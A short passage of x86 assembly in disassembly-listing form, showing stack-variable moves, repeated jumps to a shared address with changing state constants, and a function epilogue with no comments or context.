sub ecx, eax
mov dword [ebp - 0xa4], ecx
mov dword [ebp - 0xcc], 0xe2dc64ef
jmp 0x408639
mov dword [ebp - 0xcc], 0xf7d8c5a9
jmp 0x408639
mov eax, dword [ebp - 0x9c]
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0xcc], 0xc870439c
jmp 0x408639
mov eax, dword [ebp - 0x6c]
add esp, 0x278
pop esi
pop edi
pop ebx
pop ebp
ret
jmp 0x4071b6